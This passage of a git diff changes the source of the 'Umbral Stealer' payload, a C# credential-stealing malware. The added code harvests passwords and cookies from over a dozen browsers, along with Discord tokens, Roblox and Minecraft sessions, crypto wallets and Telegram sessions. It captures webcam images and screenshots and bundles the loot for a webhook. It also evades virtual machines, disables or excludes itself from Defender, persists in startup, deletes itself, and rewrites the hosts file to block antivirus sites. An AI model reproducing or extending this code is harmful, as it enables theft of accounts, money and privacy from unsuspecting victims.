string[] allowedExtentions = { ".json", ".txt", ".dat" }; - if (Directory.Exists(MinecraftFolderPath) && - File.Exists(Path.Combine(MinecraftFolderPath, "launcher_profiles.json"))) - { - string[] files = await Task.Run(() => - Directory.GetFiles(MinecraftFolderPath, "*.*", SearchOption.TopDirectoryOnly) - .Where(file => allowedExtentions.Contains(Path.GetExtension(file))).ToArray()); - - if (files.Length > 0) - { - Directory.CreateDirectory(dst); - foreach (string filepath in files) - try - { - string newPath = Path.Combine(dst, Path.GetFileName(filepath)); - File.Copy(filepath, newPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return true; - } - } - - return false; - } - } -} \ No newline at end of file diff --git a/Umbral.payload/Program.cs b/Umbral.payload/Program.cs index ec1c279..f546517 100644 --- a/Umbral.payload/Program.cs +++ b/Umbral.payload/Program.cs @@ -2,39 +2,70 @@ using System.Collections.Generic; using System.Drawing; using System.IO; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; -using Umbral.payload.AntiVm; -using Umbral.payload.Browsers; -using Umbral.payload.Config; -using Umbral.payload.Discord; +using Umbral.payload.Components.AntiVM; +using Umbral.payload.Components.Browsers; +using Umbral.payload.Components.Crypto; +using Umbral.payload.Components.Messenger.Discord; +using Umbral.payload.Components.Messenger.Telegram; +using Umbral.payload.Components.Utilities; using Umbral.payload.Games.Minecraft; using Umbral.payload.Games.Roblox; using Umbral.payload.Postman; -using Umbral.payload.Utilities; using Umbral.payload.Webcam; namespace Umbral.payload { - internal static class Program + internal class Program { - static private async Task Main() + static private async Task Main(string[] args) { + #if DEBUG MessageBox.Show("Build payload under RELEASE mode to work.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); Environment.Exit(1); #endif - await Process(); await Run(); } + static private async Task Process() + { + if (string.IsNullOrWhiteSpace(Settings.Webhook)) Environment.Exit(1); // Empty webhook + + Syscalls.RegisterMutex(); + + while (!await Common.IsConnectionAvailable()) + Thread.Sleep(60000); // Connection available. Retry every 1 min. + + if (Settings.AntiVm && + Detector.IsVirtualMachine()) Environment.Exit(1); // Exit if virtual machine is detected. + + if (!Common.IsInStartup()) + { + Syscalls.AskForAdmin(); // Prompts user to give admin privileges + } + + if (Settings.Melt && !Common.IsInStartup()) + Syscalls.HideSelf(); + + Syscalls.DefenderExclude(Application.ExecutablePath); // Tries to add itself to Defender exclusions + Syscalls.DisableDefender(); // Tries to disable defender. Fails if tamper protection is enabled. + + if (!Common.IsInStartup() && Settings.Startup && Syscalls.CheckAdminPrivileges()) + Common.PutInStartup(); // Puts itself in startup + } + static private async Task Run() { string archivePath = Path.Combine(Path.GetTempPath(), $"{Common.GenerateRandomString(15)}.ligma"); - retry: + retry: string tempFolder = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); if (Directory.Exists(tempFolder)) try @@ -57,54 +88,54 @@ static private async Task Run() Environment.Exit(1); } - var getTokens = TokenStealer.GetAccounts(); - - var getBravePasswords = Brave.GetPasswords(); - var getChromePasswords = Chrome.GetPasswords(); - var getChromiumPasswords = Chromium.GetPasswords(); - var getComodoPasswords = Comodo.GetPasswords(); - var getEdgePasswords = Edge.GetPasswords(); - var getEpicPrivacyPasswords = EpicPrivacy.GetPasswords(); - var getIridiumPasswords = Iridium.GetPasswords(); - var getOperaPasswords = Opera.GetPasswords(); - var getOperaGxPasswords = OperaGx.GetPasswords(); - var getSlimjetPasswords = Slimjet.GetPasswords(); - var getUrPasswords = UR.GetPasswords(); - var getVivaldiPasswords = Vivaldi.GetPasswords(); - var getYandexPasswords = Yandex.GetPasswords(); - - var getBraveCookies = Brave.GetCookies(); - var getChromeCookies = Chrome.GetCookies(); - var getChromiumCookies = Chromium.GetCookies(); - var getComodoCookies = Comodo.GetCookies(); - var getEdgeCookies = Edge.GetCookies(); - var getEpicPrivacyCookies = EpicPrivacy.GetCookies(); - var getIridiumCookies = Iridium.GetCookies(); - var getOperaCookies = Opera.GetCookies(); - var getOperaGxCookies = OperaGx.GetCookies(); - var getSlimjetCookies = Slimjet.GetCookies(); - var getUrCookies = UR.GetCookies(); - var getVivaldiCookies = Vivaldi.GetCookies(); - var getYandexCookies = Yandex.GetCookies(); - - var getRobloxCookies = RobloxCookieStealer.GetCookies(getBraveCookies, getChromeCookies, getChromiumCookies, getComodoCookies, getEdgeCookies, getEpicPrivacyCookies, getIridiumCookies, - getOperaCookies, getOperaGxCookies, getSlimjetCookies, getUrCookies, getVivaldiCookies, getYandexCookies); - - var getMinecraftFiles = Task.Run(() => false); - if (Settings.StealMinecraftFiles) - getMinecraftFiles = - MinecraftStealer.StealMinecraftFiles(Path.Combine(tempFolder, "Games", "Minecraft")); - - var captureWebcam = Task.Run(() => new Dictionary()); - if (Settings.CaptureWebcam) - captureWebcam = ImageCapture.CaptureWebcam(); + if (Settings.BlockAvSites && Syscalls.CheckAdminPrivileges()) BlockAvSites(); + var getTokens = Settings.StealDiscordTokens ? TokenStealer.GetAccounts() : Task.Run(() => new DiscordAccountFormat[] { }); + + var getBravePasswords = Settings.StealPasswords ? Brave.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getChromePasswords = Settings.StealPasswords ? Chrome.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getChromiumPasswords = Settings.StealPasswords ? Chromium.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getComodoPasswords = Settings.StealPasswords ? Comodo.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getEdgePasswords = Settings.StealPasswords ? Edge.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getEpicPrivacyPasswords = Settings.StealPasswords ? EpicPrivacy.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getIridiumPasswords = Settings.StealPasswords ? Iridium.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getOperaPasswords = Settings.StealPasswords ? Opera.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getOperaGxPasswords = Settings.StealPasswords ? OperaGx.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getSlimjetPasswords = Settings.StealPasswords ? Slimjet.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getUrPasswords = Settings.StealPasswords ? UR.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getVivaldiPasswords = Settings.StealPasswords ? Vivaldi.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + var getYandexPasswords = Settings.StealPasswords ? Yandex.GetPasswords() : Task.Run(() => new PasswordFormat[] { }); + + var getBraveCookies = Settings.StealCookies ? Brave.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getChromeCookies = Settings.StealCookies ? Chrome.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getChromiumCookies = Settings.StealCookies ? Chromium.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getComodoCookies = Settings.StealCookies ? Comodo.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getEdgeCookies = Settings.StealCookies ? Edge.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getEpicPrivacyCookies = Settings.StealCookies ? EpicPrivacy.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getIridiumCookies = Settings.StealCookies ? Iridium.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getOperaCookies = Settings.StealCookies ? Opera.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getOperaGxCookies = Settings.StealCookies ? OperaGx.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getSlimjetCookies = Settings.StealCookies ? Slimjet.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getUrCookies = Settings.StealCookies ? UR.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getVivaldiCookies = Settings.StealCookies ? Vivaldi.GetCookies() : Task.Run(() => new CookieFormat[] { }); + var getYandexCookies = Settings.StealCookies ? Yandex.GetCookies() : Task.Run(() => new CookieFormat[] { }); + + var getRobloxCookies = Settings.StealGames ? RobloxCookieStealer.GetCookies(getBraveCookies, getChromeCookies, getChromiumCookies, getComodoCookies, getEdgeCookies, getEpicPrivacyCookies, getIridiumCookies, + getOperaCookies, getOperaGxCookies, getSlimjetCookies, getUrCookies, getVivaldiCookies, getYandexCookies) : Task.Run(() => new string[] { }); + + var getMinecraftFiles = Settings.StealGames ? MinecraftStealer.StealMinecraftSessionFiles(Path.Combine(tempFolder, "Games", "Minecraft")) : Task.Run(() => 0); + + var captureWebcam = Settings.TakeWebcamSnapshot ? ImageCapture.CaptureWebcam() : Task.Run(() => new Dictionary()); + + var stealWallets = Settings.StealWallets ? WalletStealer.StealWallets(Path.Combine(tempFolder, "Wallets")) : Task.Run(() => 0); + + var stealTelegramSessions = Settings.StealTelegramSessions ? SessionStealer.StealSessions(Path.Combine(tempFolder, "Messenger", "Telegram")) : Task.Run(() => 0); await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromiumPasswords, getComodoPasswords, getEdgePasswords, getEpicPrivacyPasswords, getIridiumPasswords, getOperaPasswords, getOperaGxPasswords, getSlimjetPasswords, getUrPasswords, getVivaldiPasswords, getYandexPasswords, getBraveCookies, getChromeCookies, getChromiumCookies, getComodoCookies, getEdgeCookies, getEpicPrivacyCookies, getIridiumCookies, getOperaCookies, getOperaGxCookies, getSlimjetCookies, getUrCookies, - getVivaldiCookies, getYandexCookies, getMinecraftFiles, getRobloxCookies, captureWebcam); + getVivaldiCookies, getYandexCookies, getMinecraftFiles, getRobloxCookies, captureWebcam, stealWallets); var discordAccounts = await getTokens; @@ -138,7 +169,9 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium string[] robloxCookies = await getRobloxCookies; - int gotMinecraftFiles = await getMinecraftFiles ? 1 : 0; + int minecraftSessionFilesCount = await getMinecraftFiles; + int walletsCount = await stealWallets; + int telegramSessionCount = await stealTelegramSessions; var screenshots = Common.CaptureScreenShot(); @@ -152,9 +185,9 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium int screenshotCount = 0; int webcamImagesCount = 0; - if (discordAccounts.Length > 0 && Settings.StealDiscordtokens) + if (discordAccounts.Length > 0 && Settings.StealDiscordTokens) { - string saveTo = Path.Combine(tempFolder, "Discord"); + string saveTo = Path.Combine(tempFolder, "Messenger", "Discord"); Directory.CreateDirectory(saveTo); saveProcesses.Add(SaveData.SaveToFile(discordAccounts, Path.Combine(saveTo, "Discord Accounts.txt"))); discordTokenCount += discordAccounts.Length; @@ -168,7 +201,7 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium screenshotCount += screenshots.Length; } - if (webcamImages.Count > 0 && Settings.CaptureWebcam) + if (webcamImages.Count > 0 && Settings.TakeWebcamSnapshot) { string saveTo = Path.Combine(tempFolder, "Webcam"); Directory.CreateDirectory(saveTo); @@ -176,8 +209,6 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium webcamImagesCount += webcamImages.Count; } - #region StealPaswords - if (bravePasswords.Length > 0 && Settings.StealPasswords) { string saveTo = Path.Combine(tempFolder, "Browsers", "Passwords"); @@ -282,10 +313,6 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium passwordsCount += yandexPasswords.Length; } - #endregion - - #region StealCookies - if (braveCookies.Length > 0 && Settings.StealCookies) { string saveTo = Path.Combine(tempFolder, "Browsers", "Cookies"); @@ -390,7 +417,7 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium cookiesCount += yandexCookies.Length; } - if (robloxCookies.Length > 0 && Settings.StealRobloxCookies) + if (robloxCookies.Length > 0 && Settings.StealGames) { string saveTo = Path.Combine(tempFolder, "Games", "Roblox"); Directory.CreateDirectory(saveTo); @@ -398,8 +425,6 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium robloxCookieCount += robloxCookies.Length; } - #endregion - await Task.WhenAll(saveProcesses); if (Common.Compress(tempFolder, archivePath)) @@ -409,10 +434,12 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium { "Cookies", cookiesCount }, { "Passwords", passwordsCount }, { "Discord Tokens", discordTokenCount }, - { "Minecraft Session Files", gotMinecraftFiles }, + { "Minecraft Session Files", minecraftSessionFilesCount }, { "Roblox Cookies", robloxCookieCount }, { "Screenshots", screenshotCount }, - { "Webcam", webcamImagesCount } + { "Webcam", webcamImagesCount }, + { "Wallets", walletsCount}, + { "Telegram Sessions", telegramSessionCount }, }); File.Delete(archivePath); } @@ -422,35 +449,59 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium } Directory.Delete(tempFolder, true); - if (Settings.DeleteSelf && !Common.IsInStartup()) + if (Settings.Melt && !Common.IsInStartup()) Syscalls.DeleteSelf(); } - static private async Task Process() + static private async void BlockAvSites() { - if (string.IsNullOrWhiteSpace(Settings.WebhookUrl)) Environment.Exit(1); // Empty webhook - - Syscalls.RegisterMutex(); - - while (!await Common.IsConnectionAvailable()) - Thread.Sleep(60000); // Connection available. Retry every 1 min. - - if (Settings.AntiVm && - Detector.IsVirtualMachine()) Environment.Exit(1); // Exit if virtual machine is detected. + try + { + var bannedSites = new[] { "virustotal.com", "avast.com", "totalav.com", "scanguard.com", "totaladblock.com", "pcprotect.com", "mcafee.com", "bitdefender.com", "us.norton.com", "avg.com", "malwarebytes.com", "pandasecurity.com", "avira.com", "norton.com", "eset.com", "zillya.com", "kaspersky.com", "usa.kaspersky.com", "sophos.com", "home.sophos.com", "adaware.com", "bullguard.com", "clamav.net", "drweb.com", "emsisoft.com", "f-secure.com", "zonealarm.com", "trendmicro.com", "ccleaner.com" }; + var newData = new List(); + string data; + var hostsFilePath = Path.Combine(Environment.GetEnvironmentVariable("systemroot"), "System32", "drivers", "etc", "hosts"); - if (!Common.IsInStartup()) + if (File.Exists(hostsFilePath)) + { + using (var fileStream = new FileStream(hostsFilePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) + { + using (var reader = new StreamReader(fileStream)) + { + data = await reader.ReadToEndAsync(); + } + } + + foreach(var line in data.Split('\n')) + { + if (!bannedSites.Any(x => line.Contains(x))) + { + newData.Add(line); + } + } + + foreach(var site in bannedSites) + { + newData.Add($"\t0.0.0.0 {site}"); + newData.Add($"\t0.0.0.0 www.{site}"); + } + + data = string.Join("\n", newData); + data = data.Replace("\n\n", "\n"); + + using (var fileStream = new FileStream(hostsFilePath, FileMode.Open, FileAccess.Write, FileShare.ReadWrite)) + { + using (var writer = new StreamWriter(fileStream)) + { + await writer.WriteAsync(data); + } + } + } + } + catch (Exception ex) { - Syscalls.AskForAdmin(); // Prompts user to give admin privileges + Console.WriteLine(ex); } - - if (Settings.DeleteSelf && !Common.IsInStartup()) - Syscalls.HideSelf(); - - Syscalls.DefenderExclude(Application.ExecutablePath); // Tries to add itself to Defender exclusions - Syscalls.DisableDefender(); // Tries to disable defender. Fails if tamper protection is enabled. - - if (!Common.IsInStartup() && Settings.Startup && Syscalls.CheckAdminPrivileges()) - Common.PutInStartup(); // Puts itself in startup } } -} \ No newline at end of file +} diff --git a/Umbral.payload/Properties/AssemblyInfo.cs b/Umbral.payload/Properties/AssemblyInfo.cs index a154f59..c560c39 100644 --- a/Umbral.payload/Properties/AssemblyInfo.cs +++ b/Umbral.payload/Properties/AssemblyInfo.cs @@ -1,15 +1,16 @@ using System.Reflection; +using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. -[assembly: AssemblyTitle("Umbral.payload")] -[assembly: AssemblyDescription("Payload file for Umbral Stealer.")] +[assembly: AssemblyTitle("Umbral Stealer Payload")] +[assembly: AssemblyDescription("Payload for Umbral Stealer")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCopyright("")] +[assembly: AssemblyProduct("Umbral.payload")] +[assembly: AssemblyCopyright("Copyright © Blank-c 2023")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] @@ -19,7 +20,7 @@ [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("29214a1b-5a98-4d83-926b-de1d7c06220b")] +[assembly: Guid("e823c15a-ddaf-4d1e-a6eb-80645d1ee735")] // Version information for an assembly consists of the following four values: // @@ -32,4 +33,4 @@ // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] \ No newline at end of file +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Umbral.payload/Settings.cs b/Umbral.payload/Settings.cs new file mode 100644 index 0000000..a3b6d16 --- /dev/null +++ b/Umbral.payload/Settings.cs @@ -0,0 +1,93 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Algorithms; + +namespace Umbral.payload +{ + internal static class Settings + { + internal static string Webhook { get; private set; } + internal static string Version { get; private set; } + internal static string Mutex { get; private set; } + internal static bool Ping { get; private set; } + internal static bool Startup { get; private set; } + internal static bool AntiVm { get; private set; } + internal static bool Melt { get; private set; } + internal static bool BlockAvSites { get; private set; } + + internal static bool StealDiscordTokens { get; private set; } + internal static bool StealPasswords { get; private set; } + internal static bool StealCookies { get; private set; } + internal static bool StealGames { get; private set; } + internal static bool StealTelegramSessions { get; private set; } + internal static bool StealSystemInfo { get; private set; } + internal static bool StealWallets { get; private set; } + + internal static bool TakeWebcamSnapshot { get; private set; } + internal static bool TakeScreenshot { get; private set; } + + static Settings() + { + var key = ""; + var iv = ""; + + var encryptedWebhook = ""; + var encryptedVersion = ""; + var encryptedMutex = ""; + var ping = true; + var startup = true; + var antiVm = true; + var melt = true; + var blockAvSites = false; + + var stealDiscordToken = true; + var stealPasswords = true; + var stealCookies = true; + var stealGames = true; + var stealTelegramSessions = true; + var stealSystemInfo = true; + var stealWallets = true; + + var takeWebcamSnapshot = true; + var takeScreenshot = true; + + // ---------------- Initialise variables ---------------- + + Webhook = Decrypt(Convert.FromBase64String(encryptedWebhook), Convert.FromBase64String(key), Convert.FromBase64String(iv)); + Version = Decrypt(Convert.FromBase64String(encryptedVersion), Convert.FromBase64String(key), Convert.FromBase64String(iv)); + Mutex = Decrypt(Convert.FromBase64String(encryptedMutex), Convert.FromBase64String(key), Convert.FromBase64String(iv)); + Ping = ping; + Startup = startup; + AntiVm = antiVm; + Melt = melt; + BlockAvSites = blockAvSites; + + StealDiscordTokens = stealDiscordToken; + StealPasswords = stealPasswords; + StealCookies = stealCookies; + StealGames = stealGames; + StealTelegramSessions = stealTelegramSessions; + StealSystemInfo = stealSystemInfo; + StealWallets = stealWallets; + + TakeWebcamSnapshot = takeWebcamSnapshot; + TakeScreenshot = takeScreenshot; + } + + static string Decrypt(byte[] encryptedData, byte[] key, byte[] iv) + { + + var cipherText = encryptedData.Take(encryptedData.Length - 16).ToArray(); + var tag = encryptedData.Skip(encryptedData.Length - 16).ToArray(); + + var aesgcm = new AesGcm(); + var decrypted = aesgcm.Decrypt(key, iv, null, cipherText, tag); + + return Encoding.UTF8.GetString(decrypted); + } + } +} diff --git a/Umbral.payload/Umbral.payload.csproj b/Umbral.payload/Umbral.payload.csproj index d56d480..2b6b959 100644 --- a/Umbral.payload/Umbral.payload.csproj +++ b/Umbral.payload/Umbral.payload.csproj @@ -1,160 +1,131 @@  - - - Debug - AnyCPU - {29214A1B-5A98-4D83-926B-DE1D7C06220B} - WinExe - Umbral.payload - Umbral.payload - v4.7.2 - 512 - true - true - - - false - false - - publish\ - true - Disk - false - Foreground - 7 - Days - false - false - true - 0 - 1.0.0.%2a - false - true - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - false - - - - - - - - - true - bin\x64\Debug\ - DEBUG;TRACE - full - x64 - 7.3 - prompt - true - - - bin\x64\Release\ - TRACE - true - pdbonly - AnyCPU - 7.3 - prompt - false - - - OnOutputUpdated - - - true - - - - - - - - ..\..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\System.Net.dll - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - False - Microsoft .NET Framework 4.7.2 %28x86 and x64%29 - true - - - False - .NET Framework 3.5 SP1 - false - - - - - - - - - copy "$(TargetPath)" "$(TargetDir)\Umbral.payload" -del "$(TargetPath)" -del "$(TargetDir)*.xml" - - + + + Debug + AnyCPU + {E823C15A-DDAF-4D1E-A6EB-80645D1EE735} + WinExe + Umbral.payload + Umbral.payload + v4.6 + 512 + true + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + false + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + Microsoft .NET Framework 4.6 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 + false + + + + + copy $(TargetFileName) $(ProjectName) +del $(TargetFileName) + \ No newline at end of file